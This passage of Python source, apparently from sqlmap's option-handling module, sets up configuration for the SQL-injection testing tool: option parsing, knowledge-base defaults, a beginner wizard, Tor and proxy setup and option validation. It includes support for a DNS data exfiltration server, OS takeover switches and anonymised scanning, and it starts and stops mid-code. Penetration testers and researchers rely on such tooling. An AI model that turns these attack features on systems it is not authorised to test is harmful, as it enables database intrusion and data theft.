filterNone(_.strip() for _ in right.split(',')) else: conf.rParam.append(part) else: conf.rParam = conf.rParam.replace(" ", "") conf.rParam = re.split(PARAMETER_SPLITTING_REGEX, conf.rParam) else: conf.rParam = [] if conf.paramDel: conf.paramDel = decodeStringEscape(conf.paramDel) if conf.skip: conf.skip = conf.skip.replace(" ", "") conf.skip = re.split(PARAMETER_SPLITTING_REGEX, conf.skip) else: conf.skip = [] if conf.cookie: conf.cookie = re.sub(r"[\r\n]", "", conf.cookie) if conf.delay: conf.delay = float(conf.delay) if conf.url: conf.url = conf.url.strip().lstrip('/') if not re.search(r"\A\w+://", conf.url): conf.url = "http://%s" % conf.url if conf.fileRead: conf.fileRead = ntToPosixSlashes(normalizePath(conf.fileRead)) if conf.fileWrite: conf.fileWrite = ntToPosixSlashes(normalizePath(conf.fileWrite)) if conf.fileDest: conf.fileDest = ntToPosixSlashes(normalizePath(conf.fileDest)) if conf.msfPath: conf.msfPath = ntToPosixSlashes(normalizePath(conf.msfPath)) if conf.tmpPath: conf.tmpPath = ntToPosixSlashes(normalizePath(conf.tmpPath)) if any((conf.googleDork, conf.logFile, conf.bulkFile, conf.forms, conf.crawlDepth, conf.stdinPipe)): conf.multipleTargets = True if conf.optimize: setOptimize() if conf.os: conf.os = conf.os.capitalize() if conf.forceDbms: conf.dbms = conf.forceDbms if conf.dbms: kb.dbmsFilter = [] for _ in conf.dbms.split(','): for dbms, aliases in DBMS_ALIASES: if _.strip().lower() in aliases: kb.dbmsFilter.append(dbms) conf.dbms = dbms if conf.dbms and ',' not in conf.dbms else None break if conf.uValues: conf.uCols = "%d-%d" % (1 + conf.uValues.count(','), 1 + conf.uValues.count(',')) if conf.testFilter: conf.testFilter = conf.testFilter.strip('*+') conf.testFilter = re.sub(r"([^.])([*+])", r"\g<1>.\g<2>", conf.testFilter) try: re.compile(conf.testFilter) except re.error: conf.testFilter = re.escape(conf.testFilter) if conf.csrfToken: original = conf.csrfToken try: re.compile(conf.csrfToken) if re.escape(conf.csrfToken) != conf.csrfToken: message = "provided value for option '--csrf-token' is a regular expression? [y/N] " if not readInput(message, default='N', boolean=True): conf.csrfToken = re.escape(conf.csrfToken) except re.error: conf.csrfToken = re.escape(conf.csrfToken) finally: class _(six.text_type): pass conf.csrfToken = _(conf.csrfToken) conf.csrfToken._original = original if conf.testSkip: conf.testSkip = conf.testSkip.strip('*+') conf.testSkip = re.sub(r"([^.])([*+])", r"\g<1>.\g<2>", conf.testSkip) try: re.compile(conf.testSkip) except re.error: conf.testSkip = re.escape(conf.testSkip) if "timeSec" not in kb.explicitSettings: if conf.tor: conf.timeSec = 2 * conf.timeSec kb.adjustTimeDelay = ADJUST_TIME_DELAY.DISABLE warnMsg = "increasing default value for " warnMsg += "option '--time-sec' to %d because " % conf.timeSec warnMsg += "switch '--tor' was provided" logger.warning(warnMsg) else: kb.adjustTimeDelay = ADJUST_TIME_DELAY.DISABLE if conf.retries: conf.retries = min(conf.retries, MAX_CONNECT_RETRIES) if conf.url: match = re.search(r"\A(\w+://)?([^/@?]+)@", conf.url) if match: credentials = match.group(2) conf.url = conf.url.replace("%s@" % credentials, "", 1) conf.authType = AUTH_TYPE.BASIC conf.authCred = credentials if ':' in credentials else "%s:" % credentials if conf.code: conf.code = int(conf.code) if conf.csvDel: conf.csvDel = decodeStringEscape(conf.csvDel) if conf.torPort and hasattr(conf.torPort, "isdigit") and conf.torPort.isdigit(): conf.torPort = int(conf.torPort) if conf.torType: conf.torType = conf.torType.upper() if conf.outputDir: paths.SQLMAP_OUTPUT_PATH = os.path.realpath(os.path.expanduser(conf.outputDir)) setPaths(paths.SQLMAP_ROOT_PATH) if conf.string: conf.string = decodeStringEscape(conf.string) if conf.getAll: for _ in WIZARD.ALL: conf.__setitem__(_, True) if conf.noCast: DUMP_REPLACEMENTS.clear() if conf.dumpFormat: conf.dumpFormat = conf.dumpFormat.upper() if conf.torType: conf.torType = conf.torType.upper() if conf.col: conf.col = re.sub(r"\s*,\s*", ',', conf.col) if conf.exclude: regex = False original = conf.exclude if any(_ in conf.exclude for _ in ('+', '*')): try: re.compile(conf.exclude) except re.error: pass else: regex = True if not regex: conf.exclude = re.sub(r"\s*,\s*", ',', conf.exclude) conf.exclude = r"\A%s\Z" % '|'.join(re.escape(_) for _ in conf.exclude.split(',')) else: conf.exclude = re.sub(r"(\w+)\$", r"\g<1>\$", conf.exclude) class _(six.text_type): pass conf.exclude = _(conf.exclude) conf.exclude._original = original if conf.binaryFields: conf.binaryFields = conf.binaryFields.replace(" ", "") conf.binaryFields = re.split(PARAMETER_SPLITTING_REGEX, conf.binaryFields) envProxy = max(os.environ.get(_, "") for _ in PROXY_ENVIRONMENT_VARIABLES) if re.search(r"\A(https?|socks[45])://.+:\d+\Z", envProxy) and conf.proxy is None: debugMsg = "using environment proxy '%s'" % envProxy logger.debug(debugMsg) conf.proxy = envProxy if any((conf.proxy, conf.proxyFile, conf.tor)): conf.disablePrecon = True if conf.dummy: conf.batch = True threadData = getCurrentThreadData() threadData.reset() def _cleanupEnvironment(): """ Cleanup environment (e.g. from leftovers after --shell). """ if issubclass(_http_client.socket.socket, socks.socksocket): socks.unwrapmodule(_http_client) if hasattr(socket, "_ready"): socket._ready.clear() def _purge(): """ Safely removes (purges) sqlmap data directory. """ if conf.purge: purge(paths.SQLMAP_HOME_PATH) def _setConfAttributes(): """ This function set some needed attributes into the configuration singleton. """ debugMsg = "initializing the configuration" logger.debug(debugMsg) conf.authUsername = None conf.authPassword = None conf.boundaries = [] conf.cj = None conf.dbmsConnector = None conf.dbmsHandler = None conf.dnsServer = None conf.dumpPath = None conf.fileWriteType = None conf.HARCollectorFactory = None conf.hashDB = None conf.hashDBFile = None conf.httpCollector = None conf.httpHeaders = [] conf.hostname = None conf.ipv6 = False conf.multipleTargets = False conf.outputPath = None conf.paramDict = {} conf.parameters = {} conf.path = None conf.port = None conf.proxyList = None conf.resultsFP = None conf.scheme = None conf.tests = [] conf.tempDirs = [] conf.trafficFP = None def _setKnowledgeBaseAttributes(flushAll=True): """ This function set some needed attributes into the knowledge base singleton. """ debugMsg = "initializing the knowledge base" logger.debug(debugMsg) kb.absFilePaths = set() kb.adjustTimeDelay = None kb.alerted = False kb.aliasName = randomStr() kb.alwaysRefresh = None kb.arch = None kb.authHeader = None kb.bannerFp = AttribDict() kb.base64Originals = {} kb.binaryField = False kb.browserVerification = None kb.brute = AttribDict({"tables": [], "columns": []}) kb.bruteMode = False kb.cache = AttribDict() kb.cache.addrinfo = {} kb.cache.content = LRUDict(capacity=16) kb.cache.comparison = {} kb.cache.encoding = LRUDict(capacity=256) kb.cache.alphaBoundaries = None kb.cache.hashRegex = None kb.cache.intBoundaries = None kb.cache.parsedDbms = {} kb.cache.regex = {} kb.cache.stdev = {} kb.captchaDetected = None kb.chars = AttribDict() kb.chars.delimiter = randomStr(length=6, lowercase=True) kb.chars.start = "%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, randomStr(length=3, alphabet=KB_CHARS_LOW_FREQUENCY_ALPHABET), KB_CHARS_BOUNDARY_CHAR) kb.chars.stop = "%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, randomStr(length=3, alphabet=KB_CHARS_LOW_FREQUENCY_ALPHABET), KB_CHARS_BOUNDARY_CHAR) kb.chars.at, kb.chars.space, kb.chars.dollar, kb.chars.hash_ = ("%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, _, KB_CHARS_BOUNDARY_CHAR) for _ in randomStr(length=4, lowercase=True)) kb.checkWafMode = False kb.choices = AttribDict(keycheck=False) kb.codePage = None kb.commonOutputs = None kb.connErrorCounter = 0 kb.copyExecTest = None kb.counters = {} kb.customInjectionMark = CUSTOM_INJECTION_MARK_CHAR kb.data = AttribDict() kb.dataOutputFlag = False # Active back-end DBMS fingerprint kb.dbms = None kb.dbmsFilter = [] kb.dbmsVersion = [UNKNOWN_DBMS_VERSION] kb.delayCandidates = TIME_DELAY_CANDIDATES * [0] kb.dep = None kb.disableHtmlDecoding = False kb.disableShiftTable = False kb.dnsMode = False kb.dnsTest = None kb.docRoot = None kb.droppingRequests = False kb.dumpColumns = None kb.dumpTable = None kb.dumpKeyboardInterrupt = False kb.dynamicMarkings = [] kb.dynamicParameter = False kb.endDetection = False kb.explicitSettings = set() kb.extendTests = None kb.errorChunkLength = None kb.errorIsNone = True kb.falsePositives = [] kb.fileReadMode = False kb.fingerprinted = False kb.followSitemapRecursion = None kb.forcedDbms = None kb.forcePartialUnion = False kb.forceThreads = None kb.forceWhere = None kb.forkNote = None kb.futileUnion = None kb.fuzzUnionTest = None kb.heavilyDynamic = False kb.headersFile = None kb.headersFp = {} kb.heuristicDbms = None kb.heuristicExtendedDbms = None kb.heuristicCode = None kb.heuristicMode = False kb.heuristicPage = False kb.heuristicTest = None kb.hintValue = "" kb.htmlFp = [] kb.httpErrorCodes = {} kb.inferenceMode = False kb.ignoreCasted = None kb.ignoreNotFound = False kb.ignoreTimeout = False kb.identifiedWafs = set() kb.injection = InjectionDict() kb.injections = [] kb.jsonAggMode = False kb.laggingChecked = False kb.lastParserStatus = None kb.locks = AttribDict() for _ in ("cache", "connError", "count", "handlers", "hint", "identYwaf", "index", "io", "limit", "liveCookies", "log", "socket", "redirect", "request", "value"): kb.locks[_] = threading.Lock() kb.matchRatio = None kb.maxConnectionsFlag = False kb.mergeCookies = None kb.multiThreadMode = False kb.multipleCtrlC = False kb.negativeLogic = False kb.nchar = True kb.nullConnection = None kb.oldMsf = None kb.orderByColumns = None kb.originalCode = None kb.originalPage = None kb.originalPageTime = None kb.originalTimeDelay = None kb.originalUrls = dict() # Back-end DBMS underlying operating system fingerprint via banner (-b) # parsing kb.os = None kb.osVersion = None kb.osSP = None kb.pageCompress = True kb.pageTemplate = None kb.pageTemplates = dict() kb.pageEncoding = DEFAULT_PAGE_ENCODING kb.pageStable = None kb.partRun = None kb.permissionFlag = False kb.place = None kb.postHint = None kb.postSpaceToPlus = False kb.postUrlEncode = True kb.prependFlag = False kb.processResponseCounter = 0 kb.previousMethod = None kb.processNonCustom = None kb.processUserMarks = None kb.proxies = None kb.proxyAuthHeader = None kb.queryCounter = 0 kb.randomPool = {} kb.reflectiveMechanism = True kb.reflectiveCounters = {REFLECTIVE_COUNTER.MISS: 0, REFLECTIVE_COUNTER.HIT: 0} kb.requestCounter = 0 kb.resendPostOnRedirect = None kb.resolutionDbms = None kb.responseTimes = {} kb.responseTimeMode = None kb.responseTimePayload = None kb.resumeValues = True kb.safeCharEncode = False kb.safeReq = AttribDict() kb.secondReq = None kb.serverHeader = None kb.singleLogFlags = set() kb.skipSeqMatcher = False kb.smokeMode = False kb.reduceTests = None kb.sslSuccess = False kb.startTime = time.time() kb.stickyDBMS = False kb.suppressResumeInfo = False kb.tableFrom = None kb.technique = None kb.tempDir = None kb.testMode = False kb.testOnlyCustom = False kb.testQueryCount = 0 kb.testType = None kb.threadContinue = True kb.threadException = False kb.uChar = NULL kb.udfFail = False kb.unionDuplicates = False kb.unionTemplate = None kb.webSocketRecvCount = None kb.wizardMode = False kb.xpCmdshellAvailable = False if flushAll: kb.checkSitemap = None kb.headerPaths = {} kb.keywords = set(getFileItems(paths.SQL_KEYWORDS)) kb.lastCtrlCTime = None kb.normalizeCrawlingChoice = None kb.passwordMgr = None kb.postprocessFunctions = [] kb.preprocessFunctions = [] kb.skipVulnHost = None kb.storeCrawlingChoice = None kb.tamperFunctions = [] kb.targets = OrderedSet() kb.testedParams = set() kb.userAgents = None kb.vainRun = True kb.vulnHosts = set() kb.wafFunctions = [] kb.wordlists = None def _useWizardInterface(): """ Presents simple wizard interface for beginner users """ if not conf.wizard: return logger.info("starting wizard interface") while not conf.url: message = "Please enter full target URL (-u): " conf.url = readInput(message, default=None, checkBatch=False) message = "%s data (--data) [Enter for None]: " % ((conf.method if conf.method != HTTPMETHOD.GET else None) or HTTPMETHOD.POST) conf.data = readInput(message, default=None) if not (any('=' in _ for _ in (conf.url, conf.data)) or '*' in conf.url): warnMsg = "no GET and/or %s parameter(s) found for testing " % ((conf.method if conf.method != HTTPMETHOD.GET else None) or HTTPMETHOD.POST) warnMsg += "(e.g. GET parameter 'id' in 'http://www.site.com/vuln.php?id=1'). " if not conf.crawlDepth and not conf.forms: warnMsg += "Will search for forms" conf.forms = True logger.warning(warnMsg) choice = None while choice is None or choice not in ("", "1", "2", "3"): message = "Injection difficulty (--level/--risk). Please choose:\n" message += "[1] Normal (default)\n[2] Medium\n[3] Hard" choice = readInput(message, default='1') if choice == '2': conf.risk = 2 conf.level = 3 elif choice == '3': conf.risk = 3 conf.level = 5 else: conf.risk = 1 conf.level = 1 if not conf.getAll: choice = None while choice is None or choice not in ("", "1", "2", "3"): message = "Enumeration (--banner/--current-user/etc). Please choose:\n" message += "[1] Basic (default)\n[2] Intermediate\n[3] All" choice = readInput(message, default='1') if choice == '2': options = WIZARD.INTERMEDIATE elif choice == '3': options = WIZARD.ALL else: options = WIZARD.BASIC for _ in options: conf.__setitem__(_, True) logger.debug("muting sqlmap.. it will do the magic for you") conf.verbose = 0 conf.batch = True conf.threads = 4 dataToStdout("\nsqlmap is running, please wait..\n\n") kb.wizardMode = True def _saveConfig(): """ Saves the command line options to a sqlmap configuration INI file Format. """ if not conf.saveConfig: return debugMsg = "saving command line options to a sqlmap configuration INI file" logger.debug(debugMsg) saveConfig(conf, conf.saveConfig) infoMsg = "saved command line options to the configuration file '%s'" % conf.saveConfig logger.info(infoMsg) def setVerbosity(): """ This function set the verbosity of sqlmap output messages. """ if conf.verbose is None: conf.verbose = 1 conf.verbose = int(conf.verbose) if conf.verbose == 0: logger.setLevel(logging.ERROR) elif conf.verbose == 1: logger.setLevel(logging.INFO) elif conf.verbose > 2 and conf.eta: conf.verbose = 2 logger.setLevel(logging.DEBUG) elif conf.verbose == 2: logger.setLevel(logging.DEBUG) elif conf.verbose == 3: logger.setLevel(CUSTOM_LOGGING.PAYLOAD) elif conf.verbose == 4: logger.setLevel(CUSTOM_LOGGING.TRAFFIC_OUT) elif conf.verbose >= 5: logger.setLevel(CUSTOM_LOGGING.TRAFFIC_IN) def _normalizeOptions(inputOptions): """ Sets proper option types """ types_ = {} for group in optDict.keys(): types_.update(optDict[group]) for key in inputOptions: if key in types_: value = inputOptions[key] if value is None: continue type_ = types_[key] if type_ and isinstance(type_, tuple): type_ = type_[0] if type_ == OPTION_TYPE.BOOLEAN: try: value = bool(value) except (TypeError, ValueError): value = False elif type_ == OPTION_TYPE.INTEGER: try: value = int(value) except (TypeError, ValueError): value = 0 elif type_ == OPTION_TYPE.FLOAT: try: value = float(value) except (TypeError, ValueError): value = 0.0 inputOptions[key] = value def _mergeOptions(inputOptions, overrideOptions): """ Merge command line options with configuration file and default options. @param inputOptions: optparse object with command line options. @type inputOptions: C{instance} """ if inputOptions.configFile: configFileParser(inputOptions.configFile) if hasattr(inputOptions, "items"): inputOptionsItems = inputOptions.items() else: inputOptionsItems = inputOptions.__dict__.items() for key, value in inputOptionsItems: if key not in conf or value not in (None, False) or overrideOptions: conf[key] = value if not conf.api: for key, value in conf.items(): if value is not None: kb.explicitSettings.add(key) for key, value in defaults.items(): if hasattr(conf, key) and conf[key] is None: conf[key] = value if conf.unstable: if key in ("timeSec", "retries", "timeout"): conf[key] *= 2 if conf.unstable: conf.forcePartial = True lut = {} for group in optDict.keys(): lut.update((_.upper(), _) for _ in optDict[group]) envOptions = {} for key, value in os.environ.items(): if key.upper().startswith(SQLMAP_ENVIRONMENT_PREFIX): _ = key[len(SQLMAP_ENVIRONMENT_PREFIX):].upper() if _ in lut: envOptions[lut[_]] = value if envOptions: _normalizeOptions(envOptions) for key, value in envOptions.items(): conf[key] = value mergedOptions.update(conf) def _setTrafficOutputFP(): if conf.trafficFile: infoMsg = "setting file for logging HTTP traffic" logger.info(infoMsg) conf.trafficFP = openFile(conf.trafficFile, "w+") def _setupHTTPCollector(): if not conf.harFile: return conf.httpCollector = HTTPCollectorFactory(conf.harFile).create() def _setDNSServer(): if not conf.dnsDomain: return infoMsg = "setting up DNS server instance" logger.info(infoMsg) isAdmin = runningAsAdmin() if isAdmin: try: conf.dnsServer = DNSServer() conf.dnsServer.run() except socket.error as ex: errMsg = "there was an error while setting up " errMsg += "DNS server instance ('%s')" % getSafeExString(ex) raise SqlmapGenericException(errMsg) else: errMsg = "you need to run sqlmap as an administrator " errMsg += "if you want to perform a DNS data exfiltration attack " errMsg += "as it will need to listen on privileged UDP port 53 " errMsg += "for incoming address resolution attempts" raise SqlmapMissingPrivileges(errMsg) def _setProxyList(): if not conf.proxyFile: return conf.proxyList = [] for match in re.finditer(r"(?i)((http[^:]*|socks[^:]*)://)?([\w\-.]+):(\d+)", readCachedFileContent(conf.proxyFile)): _, type_, address, port = match.groups() conf.proxyList.append("%s://%s:%s" % (type_ or "http", address, port)) def _setTorProxySettings(): if not conf.tor: return if conf.torType == PROXY_TYPE.HTTP: _setTorHttpProxySettings() else: _setTorSocksProxySettings() def _setTorHttpProxySettings(): infoMsg = "setting Tor HTTP proxy settings" logger.info(infoMsg) port = findLocalPort(DEFAULT_TOR_HTTP_PORTS if not conf.torPort else (conf.torPort,)) if port: conf.proxy = "http://%s:%d" % (LOCALHOST, port) else: errMsg = "can't establish connection with the Tor HTTP proxy. " errMsg += "Please make sure that you have Tor (bundle) installed and setup " errMsg += "so you could be able to successfully use switch '--tor' " raise SqlmapConnectionException(errMsg) if not conf.checkTor: warnMsg = "use switch '--check-tor' at " warnMsg += "your own convenience when accessing " warnMsg += "Tor anonymizing network because of " warnMsg += "known issues with default settings of various 'bundles' " warnMsg += "(e.g. Vidalia)" logger.warning(warnMsg) def _setTorSocksProxySettings(): infoMsg = "setting Tor SOCKS proxy settings" logger.info(infoMsg) port = findLocalPort(DEFAULT_TOR_SOCKS_PORTS if not conf.torPort else (conf.torPort,)) if not port: errMsg = "can't establish connection with the Tor SOCKS proxy. " errMsg += "Please make sure that you have Tor service installed and setup " errMsg += "so you could be able to successfully use switch '--tor' " raise SqlmapConnectionException(errMsg) # SOCKS5 to prevent DNS leaks (http://en.wikipedia.org/wiki/Tor_%28anonymity_network%29) socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5 if conf.torType == PROXY_TYPE.SOCKS5 else socks.PROXY_TYPE_SOCKS4, LOCALHOST, port) socks.wrapmodule(_http_client) def _setHttpOptions(): if conf.chunked and conf.data: if hasattr(_http_client.HTTPConnection, "_set_content_length"): _http_client.HTTPConnection._set_content_length = lambda self, *args, **kwargs: None else: def putheader(self, header, *values): if header != HTTP_HEADER.CONTENT_LENGTH: self._putheader(header, *values) if not hasattr(_http_client.HTTPConnection, "_putheader"): _http_client.HTTPConnection._putheader = _http_client.HTTPConnection.putheader _http_client.HTTPConnection.putheader = putheader if conf.http10: _http_client.HTTPConnection._http_vsn = 10 _http_client.HTTPConnection._http_vsn_str = 'HTTP/1.0' if conf.url and (conf.url.startswith("ws:/") or conf.url.startswith("wss:/")): try: from websocket import ABNF except ImportError: errMsg = "sqlmap requires third-party module 'websocket-client' " errMsg += "in order to use WebSocket functionality" raise SqlmapMissingDependence(errMsg) def _checkTor(): if not conf.checkTor: return infoMsg = "checking Tor connection" logger.info(infoMsg) try: page, _, _ = Request.getPage(url="https://check.torproject.org/api/ip", raise404=False) tor_status = json.loads(page) except (SqlmapConnectionException, TypeError, ValueError): tor_status = None if not tor_status or not tor_status.get("IsTor"): errMsg = "it appears that Tor is not properly set. Please try using options '--tor-type' and/or '--tor-port'" raise SqlmapConnectionException(errMsg) else: infoMsg = "Tor is properly being used" logger.info(infoMsg) def _basicOptionValidation(): if conf.limitStart is not None and not (isinstance(conf.limitStart, int) and conf.limitStart > 0): errMsg = "value for option '--start' (limitStart) must be an integer value greater than zero (>0)" raise SqlmapSyntaxException(errMsg) if conf.limitStop is not None and not (isinstance(conf.limitStop, int) and conf.limitStop > 0): errMsg = "value for option '--stop' (limitStop) must be an integer value greater than zero (>0)" raise SqlmapSyntaxException(errMsg) if conf.level is not None and not (isinstance(conf.level, int) and conf.level >= 1 and conf.level <= 5): errMsg = "value for option '--level' must be an integer value from range [1, 5]" raise SqlmapSyntaxException(errMsg) if conf.risk is not None and not (isinstance(conf.risk, int) and conf.risk >= 1 and conf.risk <= 3): errMsg = "value for option '--risk' must be an integer value from range [1, 3]" raise SqlmapSyntaxException(errMsg) if isinstance(conf.limitStart, int) and conf.limitStart > 0 and \ isinstance(conf.limitStop, int) and conf.limitStop < conf.limitStart: warnMsg = "usage of option '--start' (limitStart) which is bigger than value for --stop (limitStop) option is considered unstable" logger.warning(warnMsg) if isinstance(conf.firstChar, int) and conf.firstChar > 0 and \ isinstance(conf.lastChar, int) and conf.lastChar < conf.firstChar: errMsg = "value for option '--first' (firstChar) must be smaller than or equal to value for --last (lastChar) option" raise SqlmapSyntaxException(errMsg) if conf.proxyFile and not any((conf.randomAgent, conf.mobile, conf.agent, conf.requestFile)): warnMsg = "usage of switch '--random-agent' is strongly recommended when " warnMsg += "using option '--proxy-file'" logger.warning(warnMsg) if conf.textOnly and conf.nullConnection: errMsg = "switch '--text-only' is incompatible with switch '--null-connection'" raise SqlmapSyntaxException(errMsg) if conf.uValues and conf.uChar: errMsg = "option '--union-values' is incompatible with option '--union-char'" raise SqlmapSyntaxException(errMsg) if conf.base64Parameter and conf.tamper: errMsg = "option '--base64' is incompatible with option '--tamper'" raise SqlmapSyntaxException(errMsg) if conf.eta and conf.verbose > defaults.verbose: errMsg = "switch '--eta' is incompatible with option '-v'" raise SqlmapSyntaxException(errMsg) if conf.secondUrl and conf.secondReq: errMsg = "option '--second-url' is incompatible with option '--second-req')" raise SqlmapSyntaxException(errMsg) if conf.direct and conf.url: errMsg = "option '-d' is incompatible with option '-u' ('--url')" raise SqlmapSyntaxException(errMsg) if conf.direct and conf.dbms: errMsg = "option '-d' is incompatible with option '--dbms'" raise SqlmapSyntaxException(errMsg) if conf.titles and conf.nullConnection: errMsg = "switch '--titles' is incompatible with switch '--null-connection'" raise SqlmapSyntaxException(errMsg) if conf.dumpTable and conf.search: errMsg = "switch '--dump' is incompatible with switch '--search'" raise SqlmapSyntaxException(errMsg) if conf.chunked and not any((conf.data, conf.requestFile, conf.forms)): errMsg = "switch '--chunked' requires usage of (POST) options/switches '--data', '-r' or '--forms'" raise SqlmapSyntaxException(errMsg) if conf.api and not conf.configFile: errMsg = "switch '--api' requires usage of option '-c'" raise SqlmapSyntaxException(errMsg) if conf.data and conf.nullConnection: errMsg = "option '--data' is incompatible with switch '--null-connection'" raise SqlmapSyntaxException(errMsg) if conf.string and conf.nullConnection: errMsg = "option '--string' is incompatible with switch '--null-connection'" raise SqlmapSyntaxException(errMsg) if conf.notString and conf.nullConnection: errMsg = "option '--not-string' is incompatible with switch '--null-connection'" raise SqlmapSyntaxException(errMsg) if conf.tor and conf.osPwn: errMsg = "option '--tor' is incompatible with switch '--os-pwn'" raise SqlmapSyntaxException(errMsg) if conf.noCast and conf.hexConvert: errMsg = "switch '--no-cast' is incompatible with switch '--hex'" raise SqlmapSyntaxException(errMsg) if conf.crawlDepth: try: xrange(conf.crawlDepth) except OverflowError as ex: errMsg = "invalid value used for option '--crawl' ('%s')" % getSafeExString(ex) raise SqlmapSyntaxException(errMsg) if conf.dumpAll and conf.search: errMsg = "switch '--dump-all' is incompatible with switch '--search'" raise SqlmapSyntaxException(errMsg) if conf.string and conf.notString: errMsg = "option '--string' is incompatible with switch '--not-string'" raise SqlmapSyntaxException(errMsg) if conf.regexp and conf.nullConnection: errMsg = "option '--regexp' is incompatible with switch '--null-connection'" raise SqlmapSyntaxException(errMsg) if conf.regexp: try: re.compile(conf.regexp) except Exception as ex: errMsg = "invalid regular expression '%s' ('%s')" % (conf.regexp, getSafeExString(ex)) raise SqlmapSyntaxException(errMsg) if conf.paramExclude: if re.search(r"\A\w+,", conf.paramExclude): conf.paramExclude = r"\A(%s)\Z" % ('|'.join(re.escape(_).strip() for _ in conf.paramExclude.split(','))) try: re.compile(conf.paramExclude) except Exception as ex: errMsg = "invalid regular expression '%s' ('%s')" % (conf.paramExclude, getSafeExString(ex)) raise SqlmapSyntaxException(errMsg) if conf.retryOn: try: re.compile(conf.retryOn) except Exception as ex: errMsg = "invalid regular expression '%s' ('%s')" % (conf.retryOn, getSafeExString(ex)) raise SqlmapSyntaxException(errMsg) if conf.retries == defaults.retries: conf.retries = 5 * conf.retries warnMsg = "increasing default value for " warnMsg += "option '--retries' to %d because " % conf.retries warnMsg += "option '--retry-on' was provided" logger.warning(warnMsg) if conf.cookieDel and len(conf.cookieDel) != 1: errMsg = "option '--cookie-del' should contain a single character (e.g. ';')" raise SqlmapSyntaxException(errMsg) if conf.crawlExclude: try: re.compile(conf.crawlExclude) except Exception as ex: errMsg = "invalid regular expression '%s' ('%s')" % (conf.crawlExclude, getSafeExString(ex)) raise SqlmapSyntaxException(errMsg) if conf.scope: try: re.compile(conf.scope) except Exception as ex: errMsg = "invalid regular expression '%s' ('%s')" % (conf.scope, getSafeExString(ex)) raise SqlmapSyntaxException(errMsg) if conf.dumpTable and conf.dumpAll: errMsg = "switch '--dump' is incompatible with switch '--dump-all'" raise SqlmapSyntaxException(errMsg) if conf.predictOutput and (conf.threads > 1 or conf.optimize): errMsg = "switch '--predict-output' is incompatible with option '--threads' and switch '-o'" raise SqlmapSyntaxException(errMsg) if conf.threads > MAX_NUMBER_OF_THREADS and not conf.get("skipThreadCheck"): errMsg = "maximum number of used threads is %d avoiding potential connection issues" % MAX_NUMBER_OF_THREADS raise SqlmapSyntaxException(errMsg) if conf.forms and not any((conf.url, conf.googleDork, conf.bulkFile)): errMsg = "switch '--forms' requires usage of option '-u' ('--url'), '-g' or '-m'" raise SqlmapSyntaxException(errMsg) if conf.crawlExclude and not conf.crawlDepth: errMsg = "option '--crawl-exclude' requires usage of switch '--crawl'" raise SqlmapSyntaxException(errMsg) if conf.safePost and not conf.safeUrl: errMsg = "option '--safe-post' requires usage of option '--safe-url'" raise SqlmapSyntaxException(errMsg) if conf.safeFreq and not any((conf.safeUrl, conf.safeReqFile)): errMsg = "option '--safe-freq' requires usage of option '--safe-url' or '--safe-req'" raise SqlmapSyntaxException(errMsg) if conf.safeReqFile and any((conf.safeUrl, conf.safePost)): errMsg = "option '--safe-req' is incompatible with option '--safe-url' and option '--safe-post'" raise SqlmapSyntaxException(errMsg) if conf.csrfUrl and not conf.csrfToken: errMsg = "option '--csrf-url' requires usage of option '--csrf-token'" raise SqlmapSyntaxException(errMsg) if conf.csrfMethod and not conf.csrfToken: errMsg = "option '--csrf-method' requires usage of option '--csrf-token'" raise SqlmapSyntaxException(errMsg) if conf.csrfData and not conf.csrfToken: errMsg = "option '--csrf-data' requires usage of option '--csrf-token'" raise SqlmapSyntaxException(errMsg) if conf.csrfToken and conf.threads > 1: errMsg = "option '--csrf-url' is incompatible with option '--threads'" raise SqlmapSyntaxException(errMsg) if conf.requestFile and conf.url and conf.url != DUMMY_URL: errMsg = "option '-r' is incompatible with option '-u' ('--url')" raise SqlmapSyntaxException(errMsg) if conf.direct and conf.proxy: errMsg = "option '-d' is incompatible with option '--proxy'" raise SqlmapSyntaxException(errMsg) if conf.direct and conf.tor: errMsg = "option '-d' is incompatible with switch '--tor'" raise SqlmapSyntaxException(errMsg) if not conf.technique: errMsg = "option '--technique' can't be empty" raise SqlmapSyntaxException(errMsg) if conf.tor and conf.ignoreProxy: errMsg = "switch '--tor' is incompatible with switch '--ignore-proxy'" raise SqlmapSyntaxException(errMsg) if conf.tor and conf.proxy: errMsg = "switch '--tor' is incompatible with option '--proxy'" raise SqlmapSyntaxException(errMsg) if conf.proxy and conf.proxyFile: errMsg = "switch '--proxy' is incompatible with option '--proxy-file'" raise SqlmapSyntaxException(errMsg) if conf.proxyFreq and not conf.proxyFile: errMsg = "option '--proxy-freq' requires usage of option '--proxy-file'" raise SqlmapSyntaxException(errMsg) if conf.checkTor and not any((conf.tor, conf.proxy)): errMsg = "switch '--check-tor' requires usage of switch '--tor' (or option '--proxy' with HTTP proxy address of Tor service)" raise SqlmapSyntaxException(errMsg) if conf.torPort is not None and not (isinstance(conf.torPort, int) and conf.torPort >= 0 and conf.torPort <= 65535): errMsg = "value for option '--tor-port' must be in range [0, 65535]" raise SqlmapSyntaxException(errMsg) if conf.torType not in getPublicTypeMembers(PROXY_TYPE, True): errMsg = "option '--tor-type' accepts one of following values: %s" % ", ".join(getPublicTypeMembers(PROXY_TYPE, True)) raise SqlmapSyntaxException(errMsg) if conf.dumpFormat not in getPublicTypeMembers(DUMP_FORMAT, True): errMsg = "option '--dump-format' accepts one of following values: %s" % ", ".join(getPublicTypeMembers(DUMP_FORMAT, True)) raise SqlmapSyntaxException(errMsg) if conf.uValues and (not re.search(r"\A['\w\s.,()%s-]+\Z" % CUSTOM_INJECTION_MARK_CHAR, conf.uValues) or conf.uValues.count(CUSTOM_INJECTION_MARK_CHAR) != 1): errMsg = "option '--union-values' must contain valid UNION column values, along with the injection position " errMsg += "(e.g. 'NULL,1,%s,NULL')" % CUSTOM_INJECTION_MARK_CHAR raise SqlmapSyntaxException(errMsg) if conf.skip and conf.testParameter: if intersect(conf.skip, conf.testParameter): errMsg = "option '--skip' is incompatible with option '-p'" raise SqlmapSyntaxException(errMsg) if conf.rParam and conf.testParameter: if intersect(conf.rParam, conf.testParameter): errMsg = "option '--randomize' is incompatible with option '-p'" raise SqlmapSyntaxException(errMsg) if conf.mobile and conf.agent: errMsg = "switch '--mobile' is incompatible with option '--user-agent'" raise SqlmapSyntaxException(errMsg) if conf.proxy and conf.ignoreProxy: errMsg = "option '--proxy' is incompatible with switch '--ignore-proxy'" raise SqlmapSyntaxException(errMsg) if conf.alert 